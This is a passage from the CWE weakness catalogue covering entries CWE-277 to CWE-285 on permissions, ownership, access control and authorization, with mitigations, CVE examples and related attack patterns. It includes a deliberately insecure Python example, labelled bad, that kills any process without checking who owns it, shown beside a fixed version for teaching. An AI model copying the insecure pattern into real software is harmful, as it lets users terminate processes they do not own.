Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Observed Examples

Reference	Description
CVE-2005-1941	Executables installed world-writable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1941*
CVE-2002-1713	Home directories installed world-readable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1713*
CVE-2001-1550	World-writable log files allow information loss; world-readable file has cleartext passwords. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1550*
CVE-2002-1711	World-readable directory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1711*
CVE-2002-1844	Windows product uses insecure permissions when installing on Solaris (genesis: port error). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1844*
CVE-2001-0497	Insecure permissions for a shared secret key file. Overlaps cryptographic problem. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0497*
CVE-1999-0426	Default permissions of a device allow IP spoofing. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0426*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2008

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure Default Permissions

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FIO06-C		Create files with appropriate access permissions
The CERT Oracle Secure Coding Standard for Java (2011)	FIO01-J		Create files with appropriate access permission

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
81	Web Logs Tampering
127	Directory Indexing

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-277: Insecure Inherited Permissions

Weakness ID : 277 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A product defines a set of insecure permissions that are inherited by objects that are created by the program.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1367

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Observed Examples

Reference	Description
CVE-2005-1841	User's umask is used when creating temp files. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1841*
CVE-2002-1786	Insecure umask for core dumps [is the umask preserved or assigned?]. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1786*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure inherited permissions

CWE-278: Insecure Preserved Inherited Permissions

Weakness ID : 278 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	732	Incorrect Permission Assignment for Critical Resource	1367

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Observed Examples

Reference	Description
CVE-2005-1724	Does not obey specified permissions when exporting. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1724*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure preserved inherited permissions

CWE-279: Incorrect Execution-Assigned Permissions

Weakness ID : 279 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

While it is executing, the software sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	732	Incorrect Permission Assignment for Critical Resource	1367

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Observed Examples

Reference	Description
CVE-2002-0265	Log files opened read/write. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0265*
CVE-2003-0876	Log files opened read/write. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0876*
CVE-2002-1694	Log files opened read/write. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1694*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	1908
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure execution-assigned permissions
CERT C Secure Coding	FIO06-C		Create files with appropriate access permissions
The CERT Oracle Secure Coding Standard for Java (2011)	FIO01-J		Create files with appropriate access permission

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Logs Tampering

CWE-280: Improper Handling of Insufficient Permissions or Privileges

Weakness ID : 280 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	755	Improper Handling of Exceptional Conditions	1389
PeerOf	B	636	Not Failing Securely ('Failing Open')	1245

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	1856
MemberOf	C	275	Permission Issues	1857

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Phase: Implementation

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

Observed Examples

Reference	Description
CVE-2003-0501	Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0501*
CVE-2004-0148	FTP server places a user in the root directory when the user's permissions prevent access to the their own home directory. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0148*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	1940

Notes

Relationship

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

Maintenance

CWE-280 and CWE-274 are too similar.

Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

Research Gap

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Fails poorly due to insufficient permissions
WASC	17		Improper Filesystem Permissions
Software Fault Patterns	SFP4		Unchecked Status Condition

CWE-281: Improper Preservation of Permissions

Weakness ID : 281 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	732	Incorrect Permission Assignment for Critical Resource	1367

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	732	Incorrect Permission Assignment for Critical Resource	1367

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	275	Permission Issues	1857

Weakness Ordinalities

Resultant : This is resultant from errors that prevent the permissions from being preserved.

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data Modify Application Data	

Observed Examples

Reference	Description
CVE-2002-2323	Incorrect ACLs used when restoring backups from directories that use symbolic links. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2323*
CVE-2001-1515	Automatic modification of permissions inherited from another file system. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1515*
CVE-2005-1920	Permissions on backup file are created with defaults, possibly less secure than original file. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1920*
CVE-2001-0195	File is made world-readable when being cloned. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0195*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	1934

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permission preservation failure

CWE-282: Improper Ownership Management

Weakness ID : 282 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ParentOf	B	283	Unverified Ownership	618
ParentOf	B	708	Incorrect Ownership Assignment	1363

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Observed Examples

Reference	Description
CVE-1999-1125	Program runs setuid root but relies on a configuration file owned by a non-root user. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1125*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	1933

Notes

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Ownership errors

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files

CAPEC-ID	Attack Pattern Name
35	Leverage Executable Code in Non-Executable Files

CWE-283: Unverified Ownership

Weakness ID : 283 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly verify that a critical resource is owned by the proper entity.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	282	Improper Ownership Management	616

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	840	Business Logic Errors	1900

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity *An attacker could gain unauthorized access to system resources.*	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

Demonstrative Examples

Example 1:

This function is part of a privileged program that takes input from users with potentially lower privileges.

Example Language: Python *(bad)*

```
def killProcess(processID):
    os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

Example Language: Python *(good)*

```
def killProcess(processID):
    user = getCurrentUser()
    #Check process owner against requesting user
    if getProcessOwner(processID) == user:
        os.kill(processID, signal.SIGKILL)
        return
    else:
        print("You cannot kill a process you don't own")
        return
```

Observed Examples

Reference	Description
CVE-2001-0178	Program does not verify the owner of a UNIX socket that is used for sending a password. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0178*
CVE-2004-2012	Owner of special device not checked, allowing root. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2012*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	1933

Notes

Relationship

This overlaps insufficient comparison, verification errors, permissions, and privileges.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unverified Ownership

CWE-284: Improper Access Control

Weakness ID : 284 **Status:** Incomplete
Structure : Simple
Abstraction : Pillar

Description

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as:

- Authentication (proving the identity of an actor)
- Authorization (ensuring that a given actor can access a resource), and
- Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

- Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
- Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2045
ParentOf	C	269	Improper Privilege Management	589
ParentOf	C	282	Improper Ownership Management	616
ParentOf	C	285	Improper Authorization	623
ParentOf	C	286	Incorrect User Management	629
ParentOf	C	287	Improper Authentication	630
ParentOf	B	346	Origin Validation Error	760
ParentOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1604
ParentOf	V	942	Permissive Cross-domain Policy with Untrusted Domains	1621
ParentOf	B	1191	Exposed Chip Debug and or Test Interface With Insufficient Access Control	1729
ParentOf	B	1220	Insufficient Granularity of Access Control	1735
ParentOf	B	1224	Improper Restriction of Write-Once Bit Fields	1743
ParentOf	B	1231	Improper Implementation of Lock Protection Registers	1747
ParentOf	B	1242	Inclusion of Undocumented Features or Chicken Bits	1762
ParentOf	B	1252	CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations	1780

Nature	Type	ID	Name	Page
ParentOf	B	1256	Hardware Features Enable Physical Attacks from Software	1785
ParentOf	B	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions	1787
ParentOf	B	1259	Improper Protection of Security Identifiers	1790
ParentOf	B	1260	Improper Handling of Overlap Between Protected Memory Ranges	1792
ParentOf	B	1262	Register Interface Allows Software Access to Sensitive Data or Security Settings	1797
ParentOf	B	1267	Policy Uses Obsolete Encoding	1806
ParentOf	B	1268	Agents Included in Control Policy are not Contained in Less-Privileged Policy	1808
ParentOf	B	1270	Generation of Incorrect Security Identifiers	1813
ParentOf	B	1274	Insufficient Protections on the Volatile Memory Containing Boot Code	1820
ParentOf	V	1275	Sensitive Cookie with Improper SameSite Attribute	1821
ParentOf	B	1276	Hardware Block Incorrectly Connected to Larger System	1823
ParentOf	B	1280	Access Control Check Implemented After Asset is Accessed	1831
ParentOf	B	1283	Mutable Attestation or Measurement Reporting Data	1836

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Alternate Terms

Authorization : The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy = Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Observed Examples

Reference	Description
CVE-2010-4624	Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing. *https://nvd.nist.gov/vuln/detail/CVE-2010-4624*

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	1854
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	1933
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	1977

Notes

Maintenance

This item needs more work. Possible sub-categories include: * Trusted group includes undesired entities (partially covered by CWE-286) * Group can perform undesired actions * ACL parse error does not fail closed

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Access Control List (ACL) errors
WASC	2		Insufficient Authorization
7 Pernicious Kingdoms			Missing Access Control

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
19	Embedding Scripts within Scripts
441	Malicious Logic Insertion
478	Modification of Windows Service Configuration
479	Malicious Root Certificate
502	Intent Spoof
503	WebView Exposure
536	Data Injected During Configuration
546	Probe Application Memory
550	Install New Service
551	Modify Existing Service
552	Install Rootkit
556	Replace File Extension Handlers
558	Replace Trusted Executable
562	Modify Shared File
563	Add Malicious File to Shared Webroot
564	Run Software at Logon
578	Disable Security Software

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-285: Improper Authorization

Weakness ID : 285 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	619
ParentOf	B	552	Files or Directories Accessible to External Parties	1125
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	1367
ParentOf	C	862	Missing Authorization	1567
ParentOf	C	863	Incorrect Authorization	1573
ParentOf	V	926	Improper Export of Android Application Components	1608
ParentOf	V	927	Use of Implicit Intent for Sensitive Communication	1611
ParentOf	B	1230	Exposure of Sensitive Information Through Metadata	1746
ParentOf	B	1244	Improper Authorization on Physical Debug and Test Interfaces	1765

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Technology : Database Server *(Prevalence = Often)*

Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

Alternate Terms

AuthZ : "AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Read Files or Directories *An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.*	
Integrity	Modify Application Data Modify Files or Directories *An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.*	
Access Control	Gain Privileges or Assume Identity *An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.*	

Detection Methods

Automated Static Analysis

Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries. Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

Effectiveness = Limited

Automated Dynamic Analysis

Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic

Manual Analysis

